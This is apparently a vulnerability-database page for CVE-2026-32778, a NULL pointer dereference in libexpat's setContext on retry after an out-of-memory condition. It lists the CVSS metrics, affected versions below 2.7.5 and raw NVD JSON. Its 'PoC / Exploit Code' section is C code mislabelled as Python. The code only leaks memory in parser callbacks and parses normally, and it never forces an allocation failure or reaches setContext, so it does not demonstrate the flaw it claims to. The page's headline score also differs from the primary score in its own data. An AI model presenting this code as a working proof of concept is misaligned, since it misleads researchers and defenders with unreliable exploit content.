Security Vulnerability Report
中文
CVE-2026-32778 CVSS 2.9 LOW

CVE-2026-32778

Published: 2026-03-16 14:19:45
Last Modified: 2026-03-17 15:52:53

Description

libexpat before 2.7.5 allows a NULL pointer dereference in the function setContext on retry after an earlier ouf-of-memory condition.

CVSS Details

CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:* - VULNERABLE
libexpat < 2.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2026-32778 PoC - libexpat NULL pointer dereference in setContext * This PoC demonstrates triggering the NULL pointer dereference condition. * Note: Actual exploitation requires specific memory pressure conditions. * * Build: gcc -o cve_poc cve_poc.c -lexpat * Usage: ./cve_poc malicious.xml */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "expat.h" #define XMLBUFSIZE 1024 typedef struct { int depth; int element_count; } UserData; /* XML元素开始回调函数 */ static void XMLCALL startElement(void *userData, const XML_Char *name, const XML_Char **atts) { UserData *data = (UserData *)userData; data->depth++; data->element_count++; /* 分配大量内存以模拟OOM条件 */ char *leak_buffer = malloc(XMLBUFSIZE * 100); if (leak_buffer && data->element_count > 50) { /* 保持内存分配状态以维持压力 */ printf("Simulating memory pressure at element: %d\n", data->element_count); } } /* XML元素结束回调函数 */ static void XMLCALL endElement(void *userData, const XML_Char *name) { UserData *data = (UserData *)userData; data->depth--; } int parse_xml_with_pressure(const char *filename) { FILE *fp = fopen(filename, "r"); if (!fp) { perror("Failed to open file"); return 1; } XML_Parser parser = XML_ParserCreate(NULL); if (!parser) { fprintf(stderr, "Failed to create parser\n"); fclose(fp); return 1; } UserData userData = {0, 0}; XML_SetUserData(parser, &userData); XML_SetElementHandler(parser, startElement, endElement); char buf[XMLBUFSIZE]; int done = 0; while (!done) { size_t len = fread(buf, 1, sizeof(buf), fp); done = (len < sizeof(buf)); if (!XML_Parse(parser, buf, len, done)) { fprintf(stderr, "Parse error at line %lu: %s\n", XML_GetCurrentLineNumber(parser), XML_ErrorString(XML_GetErrorCode(parser))); XML_ParserFree(parser); fclose(fp); return 1; } } XML_ParserFree(parser); fclose(fp); printf("Parsed %d elements successfully\n", userData.element_count); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <xml_file>\n", argv[0]); return 1; } return parse_xml_with_pressure(argv[1]); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32778", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:44.970", "lastModified": "2026-03-17T15:52:53.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libexpat before 2.7.5 allows a NULL pointer dereference in the function setContext on retry after an earlier ouf-of-memory condition."}, {"lang": "es", "value": "libexpat antes de 2.7.5 permite una desreferenciación de puntero NULL en la función setContext al reintentar después de una condición previa de falta de memoria."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.5", "matchCriteriaId": "BE95FCA4-11DD-4E66-8259-4884F323D57B"}]}]}], "references": [{"url": "https://github.com/libexpat/libexpat/pull/1159", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/libexpat/libexpat/pull/1163", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}